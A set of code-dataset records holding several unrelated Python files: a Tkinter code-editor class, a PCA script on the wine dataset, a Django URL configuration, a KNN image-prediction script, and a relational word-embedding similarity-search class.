self.customFont.config(size=self.font_size)\r\n self.line_num_frame.update_idletasks()\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n self.nb.children[tab].children['!text'].config(font=self.customFont)\r\n\r\n def font_reset(self, event=None):\r\n self.font_size = 15\r\n self.customFont.configure(size=self.font_size)\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n self.nb.children[tab].children['!text'].config(font=self.customFont)\r\n\r\n def get_mini_map_text(self, event=None):\r\n # self.get_cursor_pos()\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n data = self.nb.children[tab].children['!text'].get('1.0', 'end')\r\n self.mini_map_text.config(state=NORMAL)\r\n self.mini_map_text.delete('1.0', 'end')\r\n self.mini_map_text.insert('1.0', data)\r\n self.mini_map_text.config(state=DISABLED)\r\n\r\n def rename(self, file):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n self.nb.tab(self.nb.children[tab], text=file)\r\n\r\n\r\n clicked = 1\r\n\r\n def show_toolbar(self, event=None):\r\n if self.clicked == 0: # displaying\r\n self.toolbar_frame.pack_forget()\r\n # self.working_area.pack_forget()\r\n # self.line_num_frame.pack_forget()\r\n # self.code_minimap_frame.pack_forget()\r\n self.main_frame.pack_forget()\r\n self.on_off_project_hierarchy.pack_forget()\r\n self.toolbar_frame.pack(fill='x', side='top')\r\n self.on_off_project_hierarchy.pack(fill='y', side='left')\r\n self.main_frame.pack(fill='both', side='left', expand=1)\r\n # self.line_num_frame.pack(fill='y', side='left')\r\n # self.working_area.pack(fill='both', side='left', expand=True)\r\n # self.code_minimap_frame.pack(fill='both', side='left')\r\n\r\n # if hide == 1: # displaying status bar\r\n # self.statusbar_frame.pack(side=BOTTOM, fill=X)\r\n self.Toolbars.entryconfigure(1, label=\" Hide toolbar \")\r\n self.clicked = 1\r\n elif self.clicked == 1: # hiding\r\n self.toolbar_frame.pack_forget()\r\n self.Toolbars.entryconfigure(1, label=\" Show toolbar \")\r\n self.clicked = 0\r\n\r\n def undo(self, event=None):\r\n # print('undo')\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.event_generate('<>')\r\n\r\n def redo(self, event=None):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.event_generate('<>')\r\n\r\n def cut(self, event=None):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.event_generate('<>')\r\n\r\n def copy(self, event=None):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.event_generate('<>')\r\n\r\n def paste(self, event=None):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.event_generate('<>')\r\n\r\n def select_all(self, event=None):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n textArea.tag_add(\"sel\", \"1.0\", \"end-1c\")\r\n return \"break\" # Deleting default Control + a select event\r\n\r\n def auto_complete(self, event):\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n text = self.nb.children[tab].children['!text']\r\n # print(event)\r\n if event.char == '(':\r\n text.insert('insert', ')')\r\n text.mark_set('insert', 'insert-1c')\r\n elif event.char == '{':\r\n text.insert('insert', '}')\r\n text.mark_set('insert', 'insert-1c')\r\n elif event.char == '[':\r\n text.insert('insert', ']')\r\n text.mark_set('insert', 'insert-1c')\r\n elif event.char == '\"':\r\n text.insert('insert', '\"')\r\n text.mark_set('insert', 'insert-1c')\r\n elif event.char == \"'\":\r\n text.insert('insert', \"'\")\r\n text.mark_set('insert', 'insert-1c')\r\n\r\n\r\n # File related functions\r\n\r\n def open_file(self, event=None):\r\n \"\"\"Open the file in currently opened tab.\"\"\"\r\n self.file = fd.askopenfile(title=\"Choose file to open\",\r\n filetypes=[(\"Text(default)\", \"*.txt\"), (\"Python\", \"*.py\"),\r\n (\"Java\", \"*.java\"), (\"JavaScript\", \"*.js\"),\r\n (\"HTML\", \"*.html\"), (\"CSS\", \"*.css\"),\r\n (\"All files\", \"*.*\")])\r\n if self.file is None:\r\n return\r\n else:\r\n self.add_tab(file=self.file, isonlyfile=1)\r\n #\r\n # if self.nb.index(\"current\") is 0:\r\n # tab = '!frame'\r\n # else:\r\n # tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n # textArea = self.nb.children[self.paned_win.focus_get()].children['!text']\r\n # textArea.delete(\"1.0\", END)\r\n # textArea.insert(\"1.0\", self.file.read())\r\n # self.main_window.title(str(self.file.name) + \" -CodeEdit\")\r\n # textArea.mark_set(INSERT, 1.0) # Set caret(cursor) position at 1.0\r\n # print(\"Opened\")\r\n # # v.file_name = v.file.name\r\n # self.file.close()\r\n # self.line_counter()\r\n # textArea.edit('reset')\r\n # textArea.edit_modified(arg=False)\r\n # self.get_mini_map_text()\r\n # self.nb.tab(self.nb.children[tab], text=self.file.name)\r\n #\r\n # # type = self.file.name[self.file.name.rindex('.')+1:]\r\n # if self.file.name.endswith('.py'):\r\n # self.file_type.config(text='Python')\r\n # # modified()\r\n # # keyword_matching()\r\n # return True\r\n\r\n\r\n\r\n\r\n\r\n def save_file(self, event=None):\r\n \"\"\"Save the content of the current opened tab.\"\"\"\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n if self.file == None:\r\n self.file = fd.asksaveasfile(title=\"Save file\", defaultextension=\".txt\",\r\n filetypes=[(\"Text(default)\", \"*.txt\"), (\"Python\", \"*.py\"),\r\n (\"Java\", \"*.java\"), (\"JavaScript\", \"*.js\"),\r\n (\"HTML\", \"*.html\"), (\"CSS\", \"*.css\"),\r\n (\"All files\", \"*.*\")])\r\n if self.file == None:\r\n return None\r\n else:\r\n\r\n self.file.write(textArea.get(\"1.0\", \"end-1c\"))\r\n # win.title(str(file.name) + \" -Notepad\")\r\n self.rename(self.file.name)\r\n self.file.close()\r\n print(\"Saved..\")\r\n textArea.edit_modified(arg=False)\r\n # print(file)\r\n # modified()\r\n return True\r\n else:\r\n self.file = open(self.file.name, \"w+\")\r\n self.file.write(textArea.get(\"1.0\", \"end-1c\"))\r\n # win.title(str(file.name) + \" -Notpad\")\r\n self.rename(self.file.name)\r\n self.file.close()\r\n print(\"Saved..\")\r\n textArea.edit_modified(arg=False)\r\n # modified()\r\n return True\r\n\r\n def popup(self, event):\r\n \"\"\"Display the popup menu when user right click inside the text area\"\"\"\r\n try:\r\n self.popup_menu.post(event.x_root, event.y_root)\r\n finally:\r\n self.popup_menu.grab_release()\r\n\r\n def modify(self, event):\r\n self.popup_menu.entryconfigure(0, state='normal')\r\n # self.popup_menu.activate(0)\r\n # print(event.widget)\r\n\r\n def save_as_file(self, event=None):\r\n # global v.file\r\n self.file = fd.asksaveasfile(title=\"Save as\", defaultextension=\".txt\",\r\n filetypes=[(\"Text(default)\", \"*.txt\"), (\"Python\", \"*.py\"), (\"Java\", \"*.java\"),\r\n (\"All files\", \"*.*\")])\r\n if self.file == None:\r\n return\r\n else:\r\n if self.nb.index(\"current\") is 0:\r\n tab = '!frame'\r\n else:\r\n tab = f'!frame{self.nb.index(\"current\") + 1}'\r\n textArea = self.nb.children[tab].children['!text']\r\n self.file.write(textArea.get(\"1.0\", \"end-1c\"))\r\n # v.file_name = v.file.name\r\n self.file.close()\r\n self.main_window.title(str(self.file.name) + \" -Notepad\")\r\n textArea.edit_modified(arg=False)\r\n print(\"Saved As...\")\r\n\r\n i = 1\r\n def resizes(self, event=None):\r\n print(self.tree.column('#0')['width'])\r\n # print(paned_win.bbox('all'))\r\n if self.i == 1:\r\n self.paned_win.remove(self.left_frame)\r\n self.i = 0\r\n else:\r\n self.paned_win.add(self.left_frame, before=self.right_frame)\r\n self.i = 1\r\n\r\n def conf(self, event=None):\r\n # print(self.tree.column('#0'))\r\n print('draging *conf*')\r\n\r\n\r\n nodes = dict()\r\n\r\n def open_directory(self, event=None):\r\n path = fd.askdirectory()\r\n if not path:\r\n return\r\n self.tree.heading('#0', text=os.path.basename(path))\r\n # self.path = path\r\n abspath = os.path.abspath(path=path)\r\n # print(abspath)\r\n self.insert_node('', abspath, abspath)\r\n print(self.nb.focus_get())\r\n print(\"break\")\r\n return \"break\"\r\n def insert_node(self, parent, text, abspath):\r\n node = self.tree.insert(parent, 'end', text=text, open=False)\r\n # print(node)\r\n if os.path.isdir(abspath):\r\n self.nodes[node] = abspath\r\n self.tree.insert(node, 'end')\r\n\r\n def open_node(self, event):\r\n node = self.tree.focus()\r\n abspath = self.nodes.pop(node, None)\r\n if abspath:\r\n self.tree.delete(self.tree.get_children(node))\r\n for p in os.listdir(abspath):\r\n self.insert_node(node, p, os.path.join(abspath, p))\r\n\r\n\r\n\r\n def tree_select_event(self, event=None):\r\n if self.tree.parent(self.tree.selection()):\r\n parent = self.tree.parent(self.tree.selection())\r\n else:\r\n return\r\n file_path = [self.tree.item(self.tree.selection())['text']]\r\n file_path.append(self.tree.item(self.tree.parent(self.tree.selection()))['text'])\r\n while True:\r\n if self.tree.parent(parent):\r\n file_path.append(self.tree.item(self.tree.parent(parent))['text'])\r\n parent = self.tree.parent(parent)\r\n else:\r\n break\r\n file_path.reverse()\r\n # print(file_path)\r\n file_path = '\\\\'.join(file_path)\r\n # print(file_path)\r\n # try:\r\n if not os.path.isdir(file_path):\r\n self.add_tab(file=file_path)\r\n else:\r\n print('directory')\r\n # except Exception as e:\r\n # mb.showerror('Error', e)\r\n # print(e)","sub_path":"git_project/all_functions.py","file_name":"all_functions.py","file_ext":"py","file_size_in_byte":19594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"74681629","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\ndf_wine = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\", header=None)\ndf_wine.columns = [\n \"Class label\",\n \"Alcohol\",\n \"Malic acid\",\n \"Ash\",\n \"Alcalinity of ash\",\n \"Magnesium\",\n \"Total phenols\",\n \"Flavanoids\",\n \"Nonflavanoid phenols\",\n \"Proanthocyanins\",\n \"Color intensity\",\n \"Hue\",\n \"OD280/OD315 of diluted wines\",\n \"Proline\"\n]\n\nprint(\"Class labels\", np.unique(df_wine[\"Class label\"]))\n\n# train_test_split\n\nX, y = df_wine.iloc[:, 1:].values, df_wine.iloc[:, 0].value\ny = y.reshape(-1, 1)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)\n\nstdsc = StandardScaler()\nX_train_std = stdsc.fit_transform(X_train)\ny_train_std = stdsc.fit_transform(y_train)\nX_test_std = stdsc.fit_transform(X_test)\n\ncov_mat = np.cov(X_train_std.T)\neigen_vals, eigen_vecs = np.linalg.eig(cov_mat)\nprint(eigen_vals)\n\ntot = sum(eigen_vals)\nvar_exp = [(i / tot) for i in sorted(eigen_vals, reverse=True)]\ncum_var_exp = np.cumsum(var_exp)\n\nimport matplotlib.pyplot as plt\n\nplt.bar(range(1, 14), var_exp, alpha=0.5, align=\"center\", label=\"individual explained variance\")\nplt.step(range(1, 14), cum_var_exp, where=\"mid\", label=\"cumulative explained variance\")\n# plt.show()\n\n# feature transformation\neigen_pairs =[(np.abs(eigen_vals[i]),eigen_vecs[:,i])\n for i in range(len(eigen_vals))]\neigen_pairs.sort(reverse=True)\n\nw= np.hstack((eigen_pairs[0][1][:, np.newaxis],\n eigen_pairs[1][1][:, np.newaxis]))\nprint('Matrix W:\\n',w)\nX_train_pca = X_train_std.dot(w)\n","sub_path":"PythonMachineLearning/Chapter5/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"572183754","text":"# -*- coding: utf -*-\n\"\"\"\nMaster URLs file for RPG Engine.\n\"\"\"\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom rest_framework import routers\nfrom notifications import views\n\nrouter = routers.DefaultRouter()\nrouter.register(r'notifications', views.NotificationViewSet)\n\n\nurlpatterns = patterns(\n '',\n url(r'^auth/', include('rpg_auth.urls', namespace='rpg_auth')),\n url(r'^characters/', include('characters.urls', namespace='characters')),\n url(r'^world/', include('world.urls', namespace='world')),\n url(r'^quest/', include('quests.urls', namespace='quests')),\n url(r'^api/', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"soj/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"194872443","text":"from sklearn.preprocessing import StandardScaler\r\nimport time\r\nimport joblib\r\nimport cv2\r\nimport numpy as np\r\nmodel = joblib.load(\"model\")\r\n\r\n# reading image and converting it into grayscale\r\nim = cv2.imread(\"i1.jpg\")\r\nim_gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\r\n\r\n\r\nroi = cv2.resize(im_gray, (64, 64), interpolation=cv2.INTER_AREA)\r\n\r\ncv2.imwrite(\"predictKNN.jpg\", roi)\r\n\r\nrows, cols = roi.shape\r\nsc = StandardScaler()\r\n\r\n\r\nX = []\r\n\r\n# #Add pixel into csv file\r\nfor i in range(rows):\r\n for j in range(cols):\r\n k = roi[i, j]\r\n X.append(k)\r\nX = np.reshape(X, (64, 64))\r\nX = sc.fit_transform(X)\r\nX = np.reshape(X, 4096)\r\npredictions = model.predict([X])\r\nprint(\"Prediction: \", predictions[0])\r\n\r\n# cv2.waitKey(10000)\r\n","sub_path":"predictionKNN.py","file_name":"predictionKNN.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"57804982","text":"import pickle\nimport time\nfrom enum import Enum\nfrom collections import defaultdict\n\nimport numpy as np\nfrom numpy import ma\nimport pandas as pd\nfrom scipy.spatial.distance import euclidean, cosine\nfrom sklearn.cluster import KMeans\nfrom tqdm import tqdm\n\nimport word2vec\nfrom relational_embedder import composition\nfrom relational_embedder.data_prep import data_prep_utils as dpu\n\n\nclass SIMF(Enum):\n COSINE = 0\n EUCLIDEAN = 1\n\n\nclass Fabric:\n\n def __init__(self, row_we_model, col_we_model, row_relational_embedding,\n col_relational_embedding, path_to_relations, word_hubness):\n self.M_R = row_we_model\n self.M_C = col_we_model\n self.RE_R = row_relational_embedding\n self.RE_C = col_relational_embedding\n self.path_to_relations = path_to_relations\n self.word_hubness = word_hubness\n\n \"\"\"\n text to vector API\n \"\"\"\n def row_vector_for(self, cell=None, attribute=None, table=None):\n vec = None\n if cell:\n cell = dpu.encode_cell(cell)\n vec = self.M_R.get_vector(cell)\n elif table:\n table = dpu.encode_cell(table)\n if attribute:\n attribute = dpu.encode_cell(attribute)\n vec = self.RE_R[table][\"columns\"][attribute]\n else:\n vec = self.RE_R[table][\"vector\"]\n elif attribute:\n attribute = dpu.encode_cell(attribute)\n print(\"Not supported yet!\")\n return\n return vec\n\n def col_vector_for(self, cell=None, attribute=None, table=None):\n vec = None\n if cell:\n cell = dpu.encode_cell(cell)\n vec = self.M_C.get_vector(cell)\n elif table:\n table = dpu.encode_cell(table)\n if attribute:\n attribute = dpu.encode_cell(attribute)\n vec = self.RE_C[table][\"columns\"][attribute]\n else:\n vec = self.RE_C[table][\"vector\"]\n elif attribute:\n attribute = dpu.encode_cell(attribute)\n print(\"Not supported yet!\")\n return\n return vec\n\n \"\"\"\n combination API\n \"\"\"\n\n def combine(self, vecs_to_combine):\n \"\"\"\n Given a list of vectors, it combines them\n :param vecs_to_combine:\n :return:\n \"\"\"\n # TODO: probably want to filter out vecs based on hubness?\n vecs_to_combine = np.asarray(vecs_to_combine)\n comb = np.mean(vecs_to_combine, axis=0)\n return comb\n\n \"\"\"\n Topk similarity and relatedness API\n \"\"\"\n\n def more_entities_like(self, el, k=10, simf=SIMF.COSINE):\n if type(el) is str:\n el = self.col_vector_for(cell=el)\n indexes = []\n metrics = []\n if simf == SIMF.COSINE:\n sims = np.dot(self.M_C.vectors, el.T)\n indexes = np.argsort(sims)[::-1][1:k + 1]\n metrics = sims[indexes]\n elif simf == SIMF.EUCLIDEAN:\n indexes, metrics = self.M_C.euclidean(el, n=k)\n res = self.M_C.generate_response(indexes, metrics).tolist()\n return res\n\n def topk_related_entities(self, el, k=10, simf=SIMF.COSINE):\n if type(el) is str:\n el = self.row_vector_for(cell=el)\n indexes = []\n metrics = []\n if simf == SIMF.COSINE:\n sims = np.dot(self.M_R.vectors, el.T)\n indexes = np.argsort(sims)[::-1][1:k + 1]\n metrics = sims[indexes]\n elif simf == SIMF.EUCLIDEAN:\n indexes, metrics = self.M_R.euclidean(el, n=k)\n res = self.M_R.generate_response(indexes, metrics).tolist()\n return res\n\n def topk_related_entities_denoising(self, el, k=10, simf=SIMF.COSINE):\n res = self.topk_related_entities(el, k=k, simf=simf)\n\n coh_set = defaultdict(int)\n for e, score in res:\n ev = self.M_R.get_vector(e)\n if np.array_equal(el, ev): # don't include the querying vector\n continue\n sres = self.topk_related_entities(ev, k=10, simf=simf)\n for se, s_score in sres:\n coh_set[se] += 1\n\n coh_set = {key: (v / k) for key, v in coh_set.items()}\n\n final_res = sorted(coh_set.items(), key=lambda x: x[1], reverse=True)\n\n return list(final_res)[:k]\n\n def topk_related_entities_conditional_denoising(self, el, k=10, simf=SIMF.COSINE):\n res = self.topk_related_entities(el, k=k, simf=simf)\n fixed_group = [e for e, _ in res[:5]] # top 5 elements\n coh_set = defaultdict(int)\n for e, score in res:\n ev = self.M_R.get_vector(e)\n if np.array_equal(el, ev): # don't include the querying vector\n continue\n sres = self.topk_related_entities(ev, k=10, simf=simf)\n for se, s_score in sres:\n coh_set[se] += 1\n\n coh_set = {key: (v / k) for key, v in coh_set.items()}\n\n # filter fixed_group elements from coh_set\n coh_set = {k: v for k, v in coh_set.items() if k not in fixed_group and not np.array_equal(el, self.M_R.get_vector(k))}\n\n final_res = sorted(coh_set.items(), key=lambda x: x[1], reverse=True)\n\n size_to_fill = 5 # fixed for now\n candidate_replacements = len(coh_set)\n if candidate_replacements >= size_to_fill:\n total_replacements = 5\n else:\n total_replacements = candidate_replacements\n denoised_ranking = res[:5] + res[5:][:(size_to_fill - total_replacements)] + final_res[:total_replacements]\n\n assert(len(denoised_ranking) == k)\n return denoised_ranking\n\n def topk_related_entities_unsupervised_denoising(self, query_entity, k=10, hth=0.85, c=4):\n # TODO: add logging here, as it's impossible to tell if there was any denoising and how it happened\n # FIXME: also, hth should be got from word_hubness, and only optionally set here, otherwise this will break for\n # different models\n v = self.row_vector_for(query_entity)\n res = self.topk_related_entities(v, k=k)\n # FILTER BAD\n # filter bad ones based on hubness\n filtered_res = []\n filtered_out_root_entities = []\n for e, s in res:\n if self.word_hubness[e] < hth:\n filtered_res.append((e, s))\n else:\n filtered_out_root_entities.append((e, self.word_hubness[e]))\n #print(filtered_res)\n num_swaps = k - len(filtered_res)\n #print(num_swaps)\n # OBTAIN GOOD REPLACEMENTS\n # obtain vectors\n X = []\n for el, d in filtered_res:\n v = self.M_R.get_vector(el)\n X.append(v)\n X = np.asarray(X)\n if len(X) > c:\n num_clusters = c # as specified in input parameter\n else:\n num_clusters = len(X) - 1 # to avoid error and still get something out of this\n if len(X) == 0:\n return res # conservative here -- probably want to change\n try:\n kmeans = KMeans(n_clusters=num_clusters)\n kmeans = kmeans.fit(X)\n labels = kmeans.predict(X)\n centroids = kmeans.cluster_centers_\n except OverflowError:\n return res # this won't be common, so just fallback safely\n except ValueError:\n print(str(X))\n print(str(query_entity))\n print(str(type(query_entity)))\n print(str(v))\n print(str(filtered_res))\n clusters = defaultdict(list)\n for i, entry in enumerate(zip(filtered_res, labels)):\n ranking_entry, label = entry\n clusters[label].append(ranking_entry)\n # Voting session on clusters\n cluster_votes = defaultdict(lambda: defaultdict(int))\n for cid, entities in clusters.items():\n for entity, d in entities:\n v = self.row_vector_for(entity)\n res = self.topk_related_entities(v, k=k)\n for e, d in res:\n cluster_votes[cid][e] += 1\n # FIXME: remove those in root ranking\n # Big heuristic\n density_votes_cluster = dict()\n for cid, mv in cluster_votes.items():\n total_entities = len(mv)\n total_count = sum(mv.values())\n density = float(float(total_count) / float(total_entities))\n density_votes_cluster[cid] = density\n chosen_cid = None\n max_dens = -1\n for key, v in density_votes_cluster.items():\n if v > max_dens:\n max_dens = v\n chosen_cid = key\n # retrieve votes after filtering hub-bad entities and filtering out entities in root ranking\n root_entities = {e for e, _ in filtered_res}\n root_entities.add(query_entity)\n filtered_cluster_votes = []\n for e, count in cluster_votes[chosen_cid].items():\n if e not in root_entities:\n filtered_cluster_votes.append((e, count))\n filtered_cluster_votes = sorted(filtered_cluster_votes, key=lambda x: x[1], reverse=True)\n filtered_cluster_votes_hub_filtered = []\n for e, count in filtered_cluster_votes:\n if self.word_hubness[e] < hth:\n filtered_cluster_votes_hub_filtered.append((e, count))\n #print(filtered_cluster_votes_hub_filtered)\n final_ranking = filtered_res + filtered_cluster_votes_hub_filtered[:num_swaps]\n #print(len(final_ranking))\n if len(final_ranking) < k:\n filtered_out_root_entities = sorted(filtered_out_root_entities, key=lambda x: x[1])\n #print(filtered_out_root_entities[:(k - len(final_ranking))])\n final_ranking = final_ranking + filtered_out_root_entities[:(k - len(final_ranking))] # complement with fo\n return final_ranking, filtered_out_root_entities, filtered_cluster_votes_hub_filtered[:num_swaps]\n\n def top_relevant_relations(self, vec_e, k=None, simf=SIMF.COSINE):\n topk = []\n for vec, relation in self.relation_iterator_c():\n if np.isnan(vec).any():\n # FIXME: we could push this checks to building time, avoiding having bad vectors in the relemb\n print(relation + \" has vector with NaNs\")\n continue\n similarity = 0\n if simf == SIMF.COSINE:\n similarity = np.dot(vec_e, vec)\n #similarity = 1 - cosine(vec_e, vec)\n elif simf == SIMF.EUCLIDEAN:\n similarity = 1 - euclidean(vec_e, vec)\n topk.append((relation, similarity))\n topk = sorted(topk, key=lambda x: x[1], reverse=True)\n if k:\n return topk[:k]\n else:\n return topk\n\n def topk_relevant_columns(self, vec_e, k=None, simf=SIMF.COSINE):\n topk = []\n for vec, relation, column in self.column_iterator_c():\n if np.isnan(vec).any():\n # FIXME: we could push this checks to building time, avoiding having bad vectors in the relemb\n continue\n similarity = 0\n if simf == SIMF.COSINE:\n similarity = np.dot(vec_e, vec)\n # similarity = self.re_range_score(similarity)\n # similarity = 1 - cosine(vec_e, vec)\n elif simf == SIMF.EUCLIDEAN:\n similarity = 1 - euclidean(vec_e, vec)\n topk.append((column, relation, similarity))\n topk = sorted(topk, key=lambda x: x[2], reverse=True)\n if k:\n return topk[:k]\n else:\n return topk\n\n def topk_relevant_rows(self, vec_e, k=5, simf=SIMF.COSINE):\n # obtain topk for each relation first\n partial_topks = []\n for relation, _ in self.RE_R.items():\n rel_rows = np.asarray(list(self.RE_R[relation][\"rows\"].values()))\n sims = np.dot(rel_rows, vec_e.T)\n\n sims_nan = np.isnan(sims)\n sims_masked = np.ma.masked_array(sims, mask=sims_nan)\n indexes = np.argsort(sims_masked)[::-1]\n valid_indexes = []\n valid_metrics = []\n for idx in indexes:\n if len(valid_indexes) > k:\n break\n if sims_masked[idx] is ma.masked:\n continue\n valid_indexes.append(idx)\n valid_metrics.append(sims_masked[idx])\n\n for idx, metric in zip(valid_indexes, valid_metrics):\n t = (relation, idx, metric)\n partial_topks.append(t)\n # now get topk of the topks\n topks = sorted(partial_topks, key=lambda x: x[2], reverse=True)[:k]\n\n to_return = []\n to_return_metadata = []\n for relation, idx, sim in topks:\n row = self.resolve_row_idx(idx, relation)\n to_return.append((row, relation, sim))\n to_return_metadata.append((relation, idx))\n return to_return, to_return_metadata\n\n def topk_relevant_rows_diverse(self, vec_e, k=10, simf=SIMF.COSINE, div_factor=2):\n # obtain topk for each relation first\n partial_topks = []\n for relation, _ in self.RE_R.items():\n rel_rows = np.asarray(list(self.RE_R[relation][\"rows\"].values()))\n sims = np.dot(rel_rows, vec_e.T)\n\n sims_nan = np.isnan(sims)\n sims_masked = np.ma.masked_array(sims, mask=sims_nan)\n indexes = np.argsort(sims_masked)[::-1]\n valid_indexes = []\n valid_metrics = []\n for idx in indexes:\n if len(valid_indexes) > div_factor:\n break\n if sims_masked[idx] is ma.masked:\n continue\n valid_indexes.append(idx)\n valid_metrics.append(sims_masked[idx])\n\n for idx, metric in zip(valid_indexes, valid_metrics):\n t = (relation, idx, metric)\n partial_topks.append(t)\n # now get topk of the topks\n topks = sorted(partial_topks, key=lambda x: x[2], reverse=True)[:k]\n to_return = []\n for relation, idx, sim in topks:\n row = self.resolve_row_idx(idx, relation)\n to_return.append((row, relation, sim))\n return to_return\n\n def __topk_related_rows(self, vec_e, k=5, simf=SIMF.COSINE):\n # TODO: this implementation is too slow\n # TODO: regardless the impl, we'll need a diversified version of this\n topk = []\n min_el = -1000\n for vec, relation, row_idx in self.row_iterator_r():\n if np.isnan(vec).any():\n # FIXME: we could push this checks to building time, avoiding having bad vectors in the relemb\n continue\n similarity = 0\n if simf == SIMF.COSINE:\n similarity = np.dot(vec_e, vec)\n # similarity = self.re_range_score(similarity)\n # similarity = 1 - cosine(vec_e, vec)\n elif simf == SIMF.EUCLIDEAN:\n similarity = euclidean(vec_e, vec)\n # decide if we keep it or not\n if similarity > min_el:\n #row = self.resolve_row_idx(row_idx, relation)\n # Add and keep fixed-size\n topk.append((row_idx, relation, similarity))\n topk = sorted(topk, key=lambda x: x[2], reverse=True)\n topk = topk[:k]\n min_el = topk[-1][2] # update min el to last value in list\n # Once found the row_idx, resolve them to actual rows before returning\n to_return = []\n for row_idx, relation, similarity in topk:\n row = self.resolve_row_idx(row_idx, relation)\n to_return.append((row, relation, similarity))\n return to_return\n\n def topk_related_rows_in_relation(self, vec_e, relation, k=5):\n rel_rows = np.asarray(list(self.RE_R[relation][\"rows\"].values()))\n sims = np.dot(rel_rows, vec_e.T)\n\n sims_nan = np.isnan(sims)\n sims_masked = np.ma.masked_array(sims, mask=sims_nan)\n indexes = np.argsort(sims_masked)[::-1]\n valid_indexes = []\n valid_metrics = []\n for idx in indexes:\n if len(valid_indexes) > k:\n break\n if sims_masked[idx] is ma.masked:\n continue\n valid_indexes.append(idx)\n valid_metrics.append(sims_masked[idx])\n topk = []\n for idx, metric in zip(valid_indexes, valid_metrics):\n t = (relation, idx, metric)\n topk.append(t)\n # now get topk of the topks\n topk = sorted(topk, key=lambda x: x[2], reverse=True)[:k]\n\n to_return = []\n for relation, idx, sim in topk:\n row = self.resolve_row_idx(idx, relation)\n to_return.append((row, relation, sim))\n return to_return\n\n \"\"\"\n Explanation API\n \"\"\"\n\n def why(self, e1, e2, k=10):\n \"\"\"\n Why does e2 appear in the ranking of e1?\n :param e1:\n :param e2:\n :param k:\n :return:\n \"\"\"\n if type(e1) is str:\n e1 = self.row_vector_for(cell=e1)\n if type(e2) is str:\n e2 = self.row_vector_for(cell=e2)\n all1 = []\n all2 = []\n pres1 = self.topk_related_entities(e1, k=k)\n pres2 = self.topk_related_entities(e2, k=k)\n for e, s in tqdm(pres1):\n subres = self.topk_related_entities(e, k=k)\n all1.extend([r for r, _ in subres])\n for e, s in tqdm(pres2):\n subres = self.topk_related_entities(e, k=k)\n all2.extend([r for r, _ in subres])\n ix = set(all1).intersection(set(all2))\n return ix\n\n def entity_evidence_related_tables(self, table1, table2, k=10):\n \"\"\"\n Given two tables as input, find pairs of entities that make the tables related\n :param table1:\n :param table2:\n :return:\n \"\"\"\n # first we get row evidence\n entities_evidence = []\n sims = self.row_idx_evidence_related_tables(table1, table2, k=10)\n for idxs, _ in sims:\n idx1, idx2 = idxs\n v1 = self.RE_R[table1]['rows'][idx1]\n v2 = self.RE_R[table2]['rows'][idx2]\n ent1 = self.topk_related_entities(v1, k=20)\n ent2 = self.topk_related_entities(v2, k=20)\n ent1 = [a for a, _ in ent1]\n ent2 = [a for a, _ in ent2]\n ix = set(ent1).intersection(set(ent2))\n entities_evidence.extend(list(ix))\n to_return = entities_evidence[:k]\n return to_return\n\n def column_evidence_related_tables(self, table1, table2, k=10):\n \"\"\"\n Given two tables as input, find pairs of columns that make the tables related\n :param table1:\n :param table2:\n :return:\n \"\"\"\n similarities = []\n cs1 = self.RE_C[table1]['columns']\n cs2 = self.RE_C[table2]['columns']\n for c1, v1 in cs1.items():\n for c2, v2 in cs2.items():\n sim = np.dot(v1, v2)\n t = ((c1, c2), sim)\n similarities.append(t)\n similarities = sorted(similarities, key=lambda x: x[1], 